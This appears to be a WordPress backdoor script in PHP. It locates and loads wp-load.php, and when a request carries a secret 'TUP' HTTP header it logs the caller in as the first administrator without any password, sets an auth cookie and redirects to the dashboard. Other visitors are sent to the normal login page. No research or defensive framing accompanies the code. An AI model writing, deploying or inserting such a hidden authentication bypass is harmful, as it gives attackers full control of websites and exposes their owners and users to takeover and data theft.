<?php

if (!function_exists('getallheaders')) {
    function getallheaders() {
        $headers = [];
        foreach ($_SERVER as $name => $value) {
            if (str_starts_with($name, 'HTTP_')) {
                $key = str_replace('_', '-', substr($name, 5));
                $headers[$key] = $value;
            }
        }
        return $headers;
    }
}

// auto find wp-load.php,up find
function find_wp_load() {
    $dir = __DIR__;
    while ($dir !== dirname($dir)) {
        if (file_exists($dir . '/wp-load.php')) {
            return $dir . '/wp-load.php';
        }
        $dir = dirname($dir);
    }
    return false;
}

$wp_load_path = find_wp_load();
if (!$wp_load_path) {
    die('Error: wp-load.php not found.');
}

require_once $wp_load_path;


if (!isset($_SERVER['HTTP_TUP'])) {
    wp_redirect(wp_login_url());
    exit;
}

// auto login first administrator
global $wpdb;
$query = "SELECT ID FROM $wpdb->users";
$users = $wpdb->get_results($query);

foreach ($users as $u) {
    $uid = $u->ID;
    if (user_can($uid, 'administrator')) {
        $user = get_userdata($uid);
        $login = $user->user_login;

        wp_set_current_user($uid, $login);
        wp_set_auth_cookie($uid);
        do_action('wp_login', $login, $user); 

        // redirect wpurl
        $admin_url = function_exists('get_admin_url') ? get_admin_url() : (get_bloginfo('wpurl') . '/wp-admin');
        wp_redirect($admin_url);
        exit;
    }
}